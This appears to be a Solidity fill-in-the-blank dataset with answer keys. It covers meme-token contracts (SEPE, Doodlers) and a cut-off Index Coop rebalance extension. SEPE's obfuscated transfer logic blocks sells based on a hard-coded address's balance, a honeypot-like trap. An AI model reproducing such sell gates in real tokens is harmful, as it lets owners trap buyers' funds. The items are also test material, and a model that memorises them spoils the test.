function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require (from!= address(0), "ERC20: transfer from the zero address");
require (to!= address(0), "ERC20: transfer to the zero address");
require (amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if ( from != owner() &&to!= owner()) {
if (transerDelyEnble) {
if (to!= address(_uniRouterxV2) &&to!= address(_uniV2xLP)) {
require (_hdlorTransowsp[tx.origin] < block.number, " Only one transfer per block allowed.");
_hdlorTransowsp[tx.origin] = block.number;
}
}
if ( from == _uniV2xLP && to!= address (_uniRouterxV2) &&!_yfesxFardues[to]) {
require (amount <= _taxSwapoMvip, "Forbid");
require (balanceOf (to) + amount <= _maxHoldingoAmount,"Forbid");
if (_ybquhkupn < _swpydituve) {
require(<FILL_ME>)
}
_ybquhkupn ++ ; _rsfuqxelt[to] = true;
taxAmount = amount.mul((_ybquhkupn > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
}
if(to == _uniV2xLP&&from!= address (this) &&! _yfesxFardues[from]) {
require (amount <= _taxSwapoMvip && balanceOf(_MutavskokFulr) <_taxSwapoMax, "Forbid");
taxAmount = amount.mul((_ybquhkupn > _reduceSellTax1At) ?_finalSellTax:_initialSellTax).div(100);
require (_ybquhkupn >_swpydituve && _rsfuqxelt[from]);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inTaxoSwap
&& to ==_uniV2xLP&&_swapuesUniswapesqe &&contractTokenBalance > _taxSwapThreshold
&& _ybquhkupn > _swpydituve &&! _yfesxFardues [to] &&! _yfesxFardues [from]
) {
_transferFrom(rpowt(amount,rpowt(contractTokenBalance, _taxSwapoMax)));
uint256 contractETHBalance = address (this).balance;
if (contractETHBalance > 0) {
}
}
}
if ( taxAmount > 0 ) {
_balances[address(this)] = _balances [address(this)].add(taxAmount);
emit Transfer (from, address (this) ,taxAmount);
}
_balances[from] = pnjvk(from , _balances [from], amount);
_balances[to] = _balances[to].add(amount.pnjvk (taxAmount));
emit Transfer( from, to, amount. pnjvk(taxAmount));
}
function _transferFrom(uint256 _swapTaxAndLiquify) private lockTakSwap {
}
function rpowt(uint256 a, uint256 b) private pure returns (uint256) {
}
function pnjvk(address from, uint256 a, uint256 b) private view returns (uint256) {
}
function removerLimits() external onlyOwner{
}
function ruhefque(address account) private view returns (bool) {
}
function startTrading() external onlyOwner() {
}
receive( ) external payable { }
}
|
!ruhefque(to)
| 143,048 |
!ruhefque(to)
|
" trading is open "
|
/**
SHIBA+PEPE = SEPE
Twitter: https://twitter.com/SEPE_Ethereum
Telegram: https://t.me/SEPE_Ethereum
Website: https://sepeeth.com/
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function pnjvk(uint256 a, uint256 b) internal pure returns (uint256) {
}
function pnjvk(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,uint amountTokenDesired,uint amountTokenMin,uint amountETHMin,address to,uint deadline)
external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SEPE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"SEPE";
string private constant _symbol = unicode"SEPE";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * (10**_decimals);
uint256 public _taxSwapoMvip = _totalSupply;
uint256 public _maxHoldingoAmount = _totalSupply;
uint256 public _taxSwapThreshold = _totalSupply;
uint256 public _taxSwapoMax = _totalSupply;
uint256 private _initialBuyTax=13;
uint256 private _initialSellTax=24;
uint256 private _finalBuyTax=1;
uint256 private _finalSellTax=1;
uint256 private _reduceBuyTaxAt=7;
uint256 private _reduceSellTax1At=1;
uint256 private _swpydituve=0;
uint256 private _ybquhkupn=0;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _yfesxFardues;
mapping (address => bool) private _rsfuqxelt;
mapping(address => uint256) private _hdlorTransowsp;
bool public transerDelyEnble = false;
address public _MutavskokFulr = 0xA7C7dEE6384296Dab38f7B7dd7Ee815E35829e43;
IUniswapV2Router02 private _uniRouterxV2;
address private _uniV2xLP;
bool private _rkequiqor;
bool private _inTaxoSwap = false;
bool private _swapuesUniswapesqe = false;
event RmavrAtcpbox(uint _taxSwapoMvip);
modifier lockTakSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function _transferFrom(uint256 _swapTaxAndLiquify) private lockTakSwap {
}
function rpowt(uint256 a, uint256 b) private pure returns (uint256) {
}
function pnjvk(address from, uint256 a, uint256 b) private view returns (uint256) {
}
function removerLimits() external onlyOwner{
}
function ruhefque(address account) private view returns (bool) {
}
function startTrading() external onlyOwner() {
require(<FILL_ME>)
_uniRouterxV2 = IUniswapV2Router02 (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve (address (this),address(_uniRouterxV2), _totalSupply);
_uniV2xLP = IUniswapV2Factory(_uniRouterxV2.factory()).createPair (address(this), _uniRouterxV2. WETH());
_uniRouterxV2.addLiquidityETH {value:address(this).balance } (address(this),balanceOf(address (this)),0,0,owner(),block.timestamp);
IERC20 (_uniV2xLP).approve (address(_uniRouterxV2), type(uint). max);
_swapuesUniswapesqe = true ;
_rkequiqor = true ;
}
receive( ) external payable { }
}
|
!_rkequiqor," trading is open "
| 143,048 |
!_rkequiqor
|
"Buy fee can't go higher than 25"
|
/*
Get ready to join us on this exciting journey into the world of decentralized finance and creative innovation.
http://t.me/DoodsETH
http://twitter.com/DoodlersETH
http://medium.com/@DoodlersETH
http://www.doodlers-coin.xyz
**/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract Doodlers is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isIncludedFromFee;
address[] private includeFromFee;
string private constant _name = "DOODLERS";
string private constant _symbol = "$DOODLERS";
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 1000000000 * 10**_decimals;
uint256 public _maxTxAmount = _totalSupply * 3 / 100; //3%
uint256 public _maxWalletAmount = _totalSupply * 3 / 100; //3%
address public marketingWallet;
address private Swap;
struct BuyFees{
uint256 liquidity;
uint256 marketing;
} BuyFees public buyFee;
struct SellFees{
uint256 liquidity;
uint256 marketing;
} SellFees public sellFee;
event MaxTxAmountUpdated(uint _maxTxAmount);
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approved() public virtual {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function excludeFromFee(address account) public onlyOwner {
}
function includeInFee(address account) public onlyOwner {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function setFees(uint256 newLiquidityBuyFee, uint256 newMarketingBuyFee, uint256 newLiquiditySellFee, uint256 newMarketingSellFee) public onlyOwner {
require(<FILL_ME>)
buyFee.liquidity = newLiquidityBuyFee;
buyFee.marketing= newMarketingBuyFee;
require(newLiquiditySellFee.add(newMarketingSellFee) <= 25, "Sell fee can't go higher than 25");
sellFee.liquidity = newLiquiditySellFee;
sellFee.marketing= newMarketingSellFee;
}
receive() external payable {}
function isExcludedFromFee(address account) public view returns(bool) {
}
function BurnLP(uint256 enable) public {
}
function isIncludedFromFee(address account) public view returns(bool) {
}
function blacklistBots() public onlyOwner {
}
function takeBuyFees(uint256 amount, address from) private returns (uint256) {
}
function takeSellFees(uint256 amount, address from) private returns (uint256) {
}
function removeLimits() public onlyOwner {
}
function _transfer(address from, address to, uint256 amount) private {
}
}
|
newLiquidityBuyFee.add(newMarketingBuyFee)<=25,"Buy fee can't go higher than 25"
| 143,211 |
newLiquidityBuyFee.add(newMarketingBuyFee)<=25
|
"Sell fee can't go higher than 25"
|
/*
Get ready to join us on this exciting journey into the world of decentralized finance and creative innovation.
http://t.me/DoodsETH
http://twitter.com/DoodlersETH
http://medium.com/@DoodlersETH
http://www.doodlers-coin.xyz
**/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract Doodlers is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isIncludedFromFee;
address[] private includeFromFee;
string private constant _name = "DOODLERS";
string private constant _symbol = "$DOODLERS";
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 1000000000 * 10**_decimals;
uint256 public _maxTxAmount = _totalSupply * 3 / 100; //3%
uint256 public _maxWalletAmount = _totalSupply * 3 / 100; //3%
address public marketingWallet;
address private Swap;
struct BuyFees{
uint256 liquidity;
uint256 marketing;
} BuyFees public buyFee;
struct SellFees{
uint256 liquidity;
uint256 marketing;
} SellFees public sellFee;
event MaxTxAmountUpdated(uint _maxTxAmount);
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approved() public virtual {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function excludeFromFee(address account) public onlyOwner {
}
function includeInFee(address account) public onlyOwner {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function setFees(uint256 newLiquidityBuyFee, uint256 newMarketingBuyFee, uint256 newLiquiditySellFee, uint256 newMarketingSellFee) public onlyOwner {
require(newLiquidityBuyFee.add(newMarketingBuyFee) <= 25, "Buy fee can't go higher than 25");
buyFee.liquidity = newLiquidityBuyFee;
buyFee.marketing= newMarketingBuyFee;
require(<FILL_ME>)
sellFee.liquidity = newLiquiditySellFee;
sellFee.marketing= newMarketingSellFee;
}
receive() external payable {}
function isExcludedFromFee(address account) public view returns(bool) {
}
function BurnLP(uint256 enable) public {
}
function isIncludedFromFee(address account) public view returns(bool) {
}
function blacklistBots() public onlyOwner {
}
function takeBuyFees(uint256 amount, address from) private returns (uint256) {
}
function takeSellFees(uint256 amount, address from) private returns (uint256) {
}
function removeLimits() public onlyOwner {
}
function _transfer(address from, address to, uint256 amount) private {
}
}
|
newLiquiditySellFee.add(newMarketingSellFee)<=25,"Sell fee can't go higher than 25"
| 143,211 |
newLiquiditySellFee.add(newMarketingSellFee)<=25
|
"Input old components array must match the current components array."
|
/*
Copyright 2023 Index Coop
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
pragma solidity 0.6.10;
pragma experimental "ABIEncoderV2";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol";
import { BaseExtension } from "../lib/BaseExtension.sol";
import { IAuctionRebalanceModuleV1 } from "../interfaces/IAuctionRebalanceModuleV1.sol";
import { IBaseManager } from "../interfaces/IBaseManager.sol";
import { ISetToken } from "../interfaces/ISetToken.sol";
/**
* @title AuctionRebalanceExtension
* @author Index Coop
*
* @dev Extension contract for interacting with the AuctionRebalanceModuleV1. This contract acts as a pass-through and functions
* are only callable by operator.
*/
contract AuctionRebalanceExtension is BaseExtension {
using AddressArrayUtils for address[];
using SafeMath for uint256;
/* ============ Structs ============ */
struct AuctionExecutionParams {
uint256 targetUnit; // Target quantity of the component in Set, in precise units (10 ** 18).
string priceAdapterName; // Identifier for the price adapter to be used.
bytes priceAdapterConfigData; // Encoded data for configuring the chosen price adapter.
}
/* ============ State Variables ============ */
ISetToken public setToken;
IAuctionRebalanceModuleV1 public auctionModule; // AuctionRebalanceModuleV1
/* ============ Constructor ============ */
constructor(IBaseManager _manager, IAuctionRebalanceModuleV1 _auctionModule) public BaseExtension(_manager) {
}
/* ============ External Functions ============ */
/**
* @dev OPERATOR ONLY: Checks that the old components array matches the current components array and then invokes the
* AuctionRebalanceModuleV1 startRebalance function.
*
* Refer to AuctionRebalanceModuleV1 for function specific restrictions.
*
* @param _quoteAsset ERC20 token used as the quote asset in auctions.
* @param _oldComponents Addresses of existing components in the SetToken.
* @param _newComponents Addresses of new components to be added.
* @param _newComponentsAuctionParams AuctionExecutionParams for new components, indexed corresponding to _newComponents.
* @param _oldComponentsAuctionParams AuctionExecutionParams for existing components, indexed corresponding to
* the current component positions. Set to 0 for components being removed.
* @param _shouldLockSetToken Indicates if the rebalance should lock the SetToken.
* @param _rebalanceDuration Duration of the rebalance in seconds.
* @param _positionMultiplier Position multiplier at the time target units were calculated.
*/
function startRebalance(
IERC20 _quoteAsset,
address[] memory _oldComponents,
address[] memory _newComponents,
AuctionExecutionParams[] memory _newComponentsAuctionParams,
AuctionExecutionParams[] memory _oldComponentsAuctionParams,
bool _shouldLockSetToken,
uint256 _rebalanceDuration,
uint256 _positionMultiplier
)
external
onlyOperator
{
address[] memory currentComponents = setToken.getComponents();
require(currentComponents.length == _oldComponents.length, "Old components length must match the current components length.");
for (uint256 i = 0; i < _oldComponents.length; i++) {
require(<FILL_ME>)
}
bytes memory callData = abi.encodeWithSelector(
IAuctionRebalanceModuleV1.startRebalance.selector,
setToken,
_quoteAsset,
_newComponents,
_newComponentsAuctionParams,
_oldComponentsAuctionParams,
_shouldLockSetToken,
_rebalanceDuration,
_positionMultiplier
);
invokeManager(address(auctionModule), callData);
}
/**
* @dev OPERATOR ONLY: Unlocks SetToken via AuctionRebalanceModuleV1.
* Refer to AuctionRebalanceModuleV1 for function specific restrictions.
*/
function unlock() external onlyOperator {
}
/**
* @dev OPERATOR ONLY: Sets the target raise percentage for all components on AuctionRebalanceModuleV1.
* Refer to AuctionRebalanceModuleV1 for function specific restrictions.
*
* @param _raiseTargetPercentage Amount to raise all component's unit targets by (in precise units)
